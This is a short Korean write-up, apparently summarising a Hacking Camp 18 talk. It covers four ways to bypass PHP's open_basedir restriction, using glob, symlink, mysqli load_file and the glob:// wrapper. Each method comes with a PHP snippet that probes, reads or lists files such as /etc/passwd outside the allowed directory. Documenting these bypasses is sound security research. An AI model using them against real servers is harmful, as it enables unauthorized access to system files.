open_basedir bypass 정리

open_basedir 옵션은 PHP에서 접근할 수 있는 디렉토리에 제한을 두는 옵션이다.
이 옵션을 우회할 수 있는 방법이 여러가지 있는데, 일단 해캠에서 발표했던 내용만 정리한다.
해킹캠프18에서 발표했던 발표 자료는 여기에서 볼 수 있다.

open_basedir bypass via glob function (PHP 5.2.4)
open_basedir bypass via symlink function (PHP 7.2)
open_basedir bypass via mysqli_* function (PHP 7.2)
open_basedir bypass via glob wrapper (PHP 7.2)

open_basedir=/var/www/html 설정을 기준으로 작성

open_basedir bypass via glob function
<?php 
var_dump(glob('/etc/passwd')); // bool (false)  
var_dump(glob('/etc/does-not-exist')); // array(0) { }
open_basedir bypass via symlink function
<?php
mkdir("a/a/a/a/a/a/a");
symlink("a/a/a/a/a/a/a", "tmp");
symlink("tmp/../../../../../../../etc/passwd", "passwd");
unlink("tmp");
mkdir("tmp");
open_basedir bypass via mysqli_* function
<?php  
$conn = mysqli_connect('localhost', 'root', 'root', 'mysql');  
$query = mysqli_query($conn, "select load_file('/etc/passwd');");  
$fetch = mysqli_fetch_row($query);  

var_dump($fetch);
open_basedir bypass via glob wrapper
<?php
foreach(new DirectoryIterator("glob:///*") as $f) {  
      echo "$f\n";  
}